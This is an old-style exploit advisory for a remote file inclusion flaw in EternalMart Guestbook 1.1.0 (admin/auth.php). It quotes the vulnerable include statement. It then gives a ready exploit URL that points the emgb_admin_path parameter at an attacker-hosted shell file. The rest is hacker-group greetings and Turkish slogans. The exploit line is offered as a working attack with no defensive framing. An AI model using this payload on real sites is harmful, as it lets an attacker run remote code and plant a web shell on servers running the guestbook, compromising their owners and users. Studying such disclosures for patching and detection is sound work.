EternalMart Guestbook 1.10 (admin/auth.php) Remote Inclusion Vuln

****************************************************************************************************** *EternalMart Guestbook 1.1.0********* [emgb_admin_path] ************************* Remote File Include* ****************************************************************************************************** ******************************************* +class : Remote File Include Vulnerability* ******************************************* +Author : mdx * ***************************************************************************** +Files : +admin/auth.php? * ***************************************************************************** +code : * + * + include(\"$emgb_admin_path/auth_func.php\"); * + * + download link : http://www.vanta.ru/script/info.php?id=230&clas=0 * ********************************************************************************************* + Exploit : * +********************************************************************************************+ + http://www.site.***/[path]/admin/auth.php?emgb_admin_path=http://mdxshell.txt? + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ============================================================================================== ? Hi , The_bat_hacker , How are you ? ;=) * ? * ? Thanks ; Cyber-WARRIOR TIM USERS, xoron , prohack ,leak , ozii , sakkure , abbad, dreamlord* ? * ?///////////////////////////////////////////////////////////////////////////////////////////// ?---------------------specials thanks stroke ,SHiKaA----------------------------------------* ********************************************************************************************** ******************* * ******************* KORKULARINIZ SADECE KABUSLARINIZDIR.. ******************* * ******************* Turkish Hacker by mdx * ******************* * ******************* Korkmak Kurtulmak Degildir. ******************* * **********************************************************************************************